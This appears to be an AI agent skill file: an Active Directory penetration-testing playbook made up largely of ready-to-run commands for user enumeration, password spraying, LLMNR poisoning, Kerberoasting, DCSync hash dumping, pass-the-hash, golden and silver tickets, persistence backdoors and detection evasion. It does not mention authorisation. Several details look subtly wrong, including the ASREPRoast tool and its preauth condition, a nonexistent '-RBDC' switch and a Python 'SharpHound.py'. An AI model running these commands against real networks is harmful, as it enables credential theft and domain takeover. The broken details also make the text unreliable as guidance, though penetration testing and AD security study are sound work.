Active Directory Pentest Methodology

A comprehensive guide for Active Directory penetration testing, from initial reconnaissance to domain compromise and forest-wide escalation.

Quick Reference

When to use this skill:

• Enumerating Active Directory domains
• Performing Kerberos-based attacks (Kerberoast, ASREPRoast, etc.)
• Escalating privileges in AD environments
• Exploiting domain trusts
• Post-exploitation with domain credentials
• LDAP-based AD abuse

Key tools mentioned:

• crackmapexec

  /

  netexec

  - SMB/WinRM enumeration

• bloodhound

  - AD relationship mapping

• rubeus

  - Kerberos ticket manipulation

• secretsdump.py

  - DCSync attacks

• hashcat

  - Password cracking

• powerview

  - PowerShell AD enumeration

---

Phase 1: Reconnaissance (No Credentials)

Network Discovery

# DNS enumeration for key servers
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt

# SMB null/guest access (older Windows)
enum4linux -a -u "" -p "" <DC_IP>
smbmap -u "" -p "" -P 445 -H <DC_IP>
smbclient -U '%' -L //<DC_IP>

# LDAP enumeration
nmap -n -sV --script "ldap* and not brute" -p 389 <DC_IP>

User Enumeration

# Kerbrute username enumeration
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt

# Nmap Kerberos enum
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>

# NetExec user enumeration
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq

# NauthNRPC (no-auth MS-NRPC)
python3 nauth.py -t target -u users_file.txt

Username Generation

Common AD username conventions:

• NameSurname

  ,

  Name.Surname

  ,

  NamSur

  (3 letters each)

• Nam.Sur

  ,

  NSurname

  ,

  N.Surname

• SurnameName

  ,

  Surname.Name

  ,

  SurnameN

• abc123

  (3 random letters + 3 random numbers)

Tools:

• w0Tx/generate-ad-username

• urbanadventurer/username-anarchy

• namemash.py

  - Generate from full names

---

Phase 2: With Valid Username (No Password)

ASREPRoast

If user doesn't have

DONT_REQ_PREAUTH

:

# Request AS-REP for offline cracking
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile asreproast

# Crack with hashcat
hashcat -m 18200 asreproast.txt wordlist.txt

Password Spraying

# NetExec password spray
netexec smb <dc> -u usernames.txt -p 'Summer2021' --no-bruteforce --continue-on-success

# OWA password spray
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021

LLMNR/NBT-NS Poisoning

# Responder for credential capture
responder -I <interface> -wv

# Evil-S for UPN/SSDP spoofing
evil-s -i <interface>

---

Phase 3: With Domain Credentials

Basic Enumeration

# Windows CMD
net user /domain
net group /domain
net group "domain admins" /domain

# PowerShell
Get-DomainUser
Get-DomainGroup
Get-DomainGroupMember "Domain Admins"

# NetExec
netexec smb <dc> -u <user> -p <password>
netexec ldap <dc> -u <user> -p <password>

BloodHound Enumeration

# SharpHound collection
SharpHound.exe -c All -d <domain>

# Or with Python
python3 SharpHound.py -c All -d <domain>

# Analyze in BloodHound GUI or Neo4j

Kerberoast

# Request service tickets
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile kerberoast

# Crack RC4 tickets
hashcat -m 13100 kerberoast.txt wordlist.txt

# Or with hashcat NT-candidate mode (mode 35300)
hashcat -m 35300 kerberoast.txt nt_hashes.txt

NetExec Workspace Management

# Create workspace for engagement
nxcdb workspace create <engagement_name>

# Switch protocols
nxcdb proto smb
nxcdb proto ldap

# View gathered credentials
nxcdb creds

# Generate hosts file from scan
netexec smb 10.2.10.0/24 --generate-hosts-file hosts
cat hosts /etc/hosts | sponge /etc/hosts

---

Phase 4: Privilege Escalation

Hash Extraction

# DCSync attack
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -outputfile smoke_dump

# Extract NT hashes
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_hashes.txt

# Local SAM dump
nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa

Pass the Hash

# NetExec with hash
netexec smb <dc> -u <user> -H <nt_hash>

# Mimikatz PTH
mimikatz # sekurlsa::pth /user:<user> /ntlm:<hash> /run:cmd.exe

Over Pass the Hash (Kerberos)

# Rubeus Kerberos PTH
Rubeus.exe pth /user:<user> /ntlm:<hash> /runascurrent

# Request TGT with hash
Rubeus.exe asktgt /user:<user> /rc4:<hash> /domain:<domain>

Delegation Attacks

# Check for unconstrained delegation
Get-DomainComputer -Unconstrained

# Check for constrained delegation
Get-DomainComputer -TrustedToAuth

# Resource-based constrained delegation
Get-DomainComputer -RBDC

ACL Abuse

# Find writable objects
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ObjectAceType -eq "WriteDACL"}

# Check for dangerous permissions
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.AceFlags -eq "Inherited" -and $_.ActiveDirectoryRights -eq "GenericAll"}

---

Phase 5: Domain Trust Exploitation

Enumerate Trusts

# PowerShell
Get-DomainTrust

# nltest
nltest /domain_trusts /all_trusts /v
nltest /dclist:<domain>

# Check trust direction
# Inbound = your domain is trusted
# Outbound = you trust another domain

Trust Attack Paths

Inbound Trust (your domain is trusted):

• Find principals with access to external domain
• Exploit foreign security principals
• Use

  Get-DomainForeignUser

  /

  Get-DomainForeignGroupMember

Outbound Trust (you trust another domain):

• Access trust account with predictable name/password
• Exploit SQL trusted links
• RDPInception attacks

Child-to-Parent Escalation:

• SID-History injection
• Exploit writable Configuration NC
• Link GPO to root DC site
• Compromise gMSA passwords via KDS Root key

---

Phase 6: Post-Exploitation

DCSync / NTDS Dump

# Full domain dump
secretsdump.py <domain>/<user>@<dc_ip> -history -outputfile full_dump

# Or with Impacket
impacket-secretsdump <domain>/<user>@<dc_ip>

Persistence Techniques

# Make user Kerberoastable
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}

# Make user ASREPRoastable
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

# Grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity <user> -Rights DCSync

Golden/Silver Tickets

# Golden Ticket (requires krbtgt hash)
mimikatz # kerberos::golden /user:admin /domain:domain.local /sid:<domain_sid> /krbtgt:<hash>

# Silver Ticket (requires service hash)
mimikatz # kerberos::golden /user:admin /domain:domain.local /sid:<domain_sid> /target:<server> /service:cifs /rc4:<hash>

---

Hash Shucking (NT-Candidate Attacks)

Use existing NT hashes as candidates for other hash types:

Hash Type	Password Mode	NT-Candidate Mode
DCC	1100	31500
DCC2	2100	31600
NetNTLMv1	5500	27000
NetNTLMv2	5600	27100
Kerberoast RC4	13100	35300
AS-REP RC4	18200	35400

# Build NT hash corpus
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt

# Shuck Kerberoast ticket
hashcat -m 35300 roastable_TGS nt_candidates.txt

# Shuck cached credentials
hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt

---

LDAP-Based AD Abuse (On-Host)

Using LDAP BOF Collection for in-memory operations:

# Clone and build
git clone https://github.com/P0142/ldap-bof-collection.git
cd ldap-bof-collection && make

# Load in beacon
load ldap.axs

# Enumeration
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"

# Write operations
ldap add-user <username> <password>
ldap add-spn <user> <spn>
ldap add-sidhistory <user> <sid>
ldap add-dcsync <user>

---

Defensive Considerations

What to Check For

• SMB Signing:

  netexec smb <cidr>

  - look for

  (signing:False)

  = relay-prone
• LDAP Signing:

  netexec ldap <dc>

  - check for

  (signing:None)

• LAPS: Local Admin Password Solution mitigates credential reuse
• Kerberos Pre-Auth: Check for

  DONT_REQ_PREAUTH

  users
• Delegation: Audit unconstrained/constrained delegation settings

Detection Evasion

• Use LDAPS (636) instead of LDAP (389) when possible
• Avoid session enumeration on DCs (triggers ATA)
• Use AES keys for tickets instead of NTLM
• Execute DCSync from non-DC machines
• Clean up workspaces:

  rm -rf ~/.nxc/workspaces/<name>

---

Quick Command Reference

# User enumeration
kerbrute userenum -d <domain> --dc <dc_ip> usernames.txt

# Password spray
netexec smb <dc> -u users.txt -p 'Password1' --no-bruteforce

# Kerberoast
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile tickets

# DCSync
secretsdump.py <domain>/<user>@<dc_ip>

# BloodHound
SharpHound.exe -c All -d <domain>

# Hashcat modes
# 13100 = Kerberoast, 18200 = ASREPRoast
# 35300 = Kerberoast NT-candidate, 35400 = AS-REP NT-candidate

---

Important Notes

1. Kerberos requires FQDN - Using IP addresses forces NTLM authentication
2. Double-hop problem - Kerberos tickets don't forward by default; use

   runas /savecred

   or Impacket tools
3. History matters - Always request password history with DCSync (up to 24 previous hashes)
4. NT-candidate modes - Don't use rules (

   -r

   ) with NT-candidate modes; they corrupt the hash
5. Workspace cleanup - Remove sensitive data from NetExec workspaces after engagement

---

References

• HackTricks AD Methodology
• BloodHound Documentation
• Rubeus GitHub
• Impacket Tools
• Hashcat Modes
• LDAP BOF Collection